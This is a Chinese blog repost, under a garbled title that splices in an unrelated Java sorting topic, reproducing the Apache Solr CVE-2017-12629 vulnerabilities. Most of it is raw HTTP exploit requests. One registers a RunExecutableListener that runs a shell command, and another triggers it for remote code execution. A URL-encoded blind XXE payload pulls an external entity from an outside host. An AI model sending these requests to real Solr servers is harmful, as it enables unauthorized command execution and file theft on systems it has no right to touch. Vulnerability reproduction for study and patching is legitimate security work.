java list%3ca%3e排序_Apache Solr 远程命令+XXE执行漏洞（CVE-2017-12629）
Apache Solr 最近有出了個漏洞預警,先復習一下之前的漏洞 #命令執行 ##先創建一個listener，其中設置exe的值為我們想執行的命令，args的值是命令參數
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
##然后進行update操作，觸發剛才添加的listener：
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
##進入容器查看文件創建成功
#XXE ##由于返回包中不包含我們傳入的XML中的信息，所以這是一個Blind XXE漏洞，我們發送如下數據包(自行修改其中的XXE Payload)：
GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F192.168.63.1%2FXXE%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
##利用Error Based XXE讀取文件：(下圖為借用)
總結
以上是生活随笔為你收集整理的java list%3ca%3e排序_Apache Solr 远程命令+XXE执行漏洞（CVE-2017-12629）的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： java定义一个学生类cstudent_
- 下一篇： php怎么改,php怎么修改图片